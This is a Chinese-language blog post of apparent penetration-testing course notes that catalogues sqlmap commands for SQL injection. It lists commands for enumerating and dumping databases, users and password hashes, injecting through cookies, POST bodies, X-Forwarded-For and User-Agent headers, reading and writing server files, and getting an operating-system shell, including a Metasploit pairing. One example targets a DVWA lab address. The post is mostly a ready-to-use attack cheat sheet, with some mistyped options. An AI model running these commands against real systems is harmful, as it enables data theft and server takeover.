SQLmap自动注入工具命令(10.28 10.29 第二十八 二十九天)

SQL注入工具:明小子  啊D   萝卜头   sqlmap  等等

SQLMAP:开源的自动化诸如利用工具,支持的数据库有12中,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中他是最好用的!!

支持的注入类型:布尔  时间  报错  联合  堆查询   内联

可以获取用户名   密码  权限   角色     数据库(表   字段  内容)

可以爆破识别密文数据

getshell

命令执行

脱库/删库

 

内置文档介绍:

doc   介绍文档

extra     sqlmap额外的功能,运行cmd执行命令

lib   sqlmap的核心功能代码

plugins   包含12种数据库识别程序

data   存放一些攻击过程中使用的工具或者命令

procs  包含了mysql  mssql  oracle  postgersql  这四种数据库的触发程序

shell  远程命令和后门

txt  表名字典  列名字典   ua字典

udf  存放攻击载荷 payload

xml  存放检测的脚本

tamper   包含各种绕WAF的处理脚本

thirdparty  包含了第三方插件   颜色  优化  等等

 

SQLMAP工作流程:

1)初始化

2)开始检测

1>  检测之前是否注入过(会把检测的URL默认存放在用户家目录.sqlmapoutput,可以指定存放目录    --output-dir 参数可以指定存放目录)

2>  解析URL,判断该URL是否可访问

3>  检测是否有WAF

sqlmup -u "目录URL" --identify-waf

sqlmap -u "目录URL" --check-waf

3)执行用户输入的参数

-u   指定URL

-p   指定参数

-v   指定显示的级别

-m   批量测试

-p   指定测试参数

-r   读取文件

--dbs   数据库

--current-db   当前数据库

--tables   表名

--columns   列名

--dump  获取数据

--batch   跳过问询(yes)直接执行

--DBMS   指定数据库类型

--current-user   当前数据库

--users   所有用户

--passwords   数据库密码

--hostname  系统名称

--baner   数据库信息

--roles   数据库用户角色

--level   测试等级

--delay 2   延时两秒注入

 

步骤详解

1)判断注入点:sqlmap -u "目标URL"     当看到探测结果中有环境参数(系统类型、数据库类型)则表名有注入点

2)查看所有数据库:sqlmap -u "目标URL" --dbs --dbms mysql

3)获取当前数据库:sqlmap -u "目标URL" --current-db --dbms mysql

4)获取当前数据库下的表:sqlmap -u "目标URL" -D 库名 --dbms mysql --tables

5)获取当前数据库中指定表下的字段名:sqlmap -u "目标URL" -D 库名 -T 表名 --columns

6)获取指定字段对应的内容:sqlmap -u "目标URL" -D 库名 -T 表名 -C 字段名 --dump(注意:多个字段名需要使用逗号隔开)

7cookie型注入

python sqlmap.py u "http://10.3.150.82/dvwa/vulnerabilities/sqli/index.phpid=1&Submit=Submit#" -p id --cookie="security=low; PHPSESSID=te2i8hgoig4kt1sjmqufbugt52" 

 

POST型注入的sqlmap利用方法

拦截数据包保存txt文件

python sqlmap.py -r post.txt -p "uname"  -r读取指定的文件,-p告诉sqlmap测试哪个参数)"

 

COOKIE注入

python sqlmap.py -r post_cookie.txt --level 2

python sqlmap.py -u "URL" --cookie="user=1" --level 2

--level=LEVEL  执行测试的等级(1-5,默认是1

 

XFF注入

python sqlmap.py -u "URL" -p "x-forwarded-for" --level 3

python sqlmap.py -r "post_xff.txt" --level 3

 

UA注入:

python sqlmap.py -r "post_ua.txt" --level 3 --dbms mysql

 

伪静态注入:

python sqlmap.py -u "URL/1*.html"   加个*

 

-v 0-6

0、只显示python错误以及严重的信息

1、同事显示基本信息和警告信息(默认)

2、同事显示debug信息。

3、同事显示注入的payload(建议使用次级别,可)

 

--risk 0-3

0-3共有四个风险等级

 

批量测试:

  python sqlmap.py -m piliang.txt

 

SQLMAP注入点执行系统命令或者交互式shell

(条件1、数据库有写文件权限   2、需要知道WEB站点路径{www}

sqlmap.py -u "target_url" --os-cmd=执行的命令    执行系统命令

sqlmap.py -u "target_url" --os-shell    获取系统的shell

sqlmap.py -u "target_url" --is-dba   判断当前用户是不是dba

sqlmap.py -u "target_url" --delay 2   延时两秒注入

sqlmap.py -u "target_url" --sql-querty=select vision()   执行SQL命令

sqlmap.py -u "target_url" --sql-shell     反弹SQLshell

 

sqlmap直连mysql数据库

sqlmap.py -d "mysql://username:password@192.168.2.101:3306/mysql" -f --banner --dbs --users

 

sqlmap注入利用Access

Access数据库 没有库的概念。打开数据库文件看到的只有表和字段以及内容

python sqlmap.py -u "target_url" --tables

 

sqlmapmsf结合使用

sqlmap -u "URL" -p name --dbms mysql --os-pwn --msf-path /usr/share/metasploit-framework

msf存储路径:/usr/share/metasploit-framework

 

sqlmapBP的结合使用:

1、给BP代开抓包储存

 

 

 

2、然后抓取目标URL

3、打开sqlmap输入如下命令:sqlmap.py -l "BP储存的数据包文件"  -batch

-l 表示从文件读取http请求,测试完之后的结果如下,并生成一个.csv格式的文件。

 

sqlmap读写文件

--file-read=(读取文件的绝对路径)  从后端的数据库管理系统文件读取文件(物理路径)

sqlmap.py -u "URL" --file-read=(读取文件的绝对路径)

--file-write=WFILE     编辑后端的数据库管理系统文件系统上的本地文件

--file-dest=DFILE    后端的数据库管理系统写入文件的绝对路径

sqlmap.py -u "URL" --file-read=(写入目标机的绝对路径) --file-write=(读取攻击者的文件路径)

 

posted @ 2019-10-30 22:20  枕桃花吹长笛  阅读(654)  评论(0编辑  收藏  举报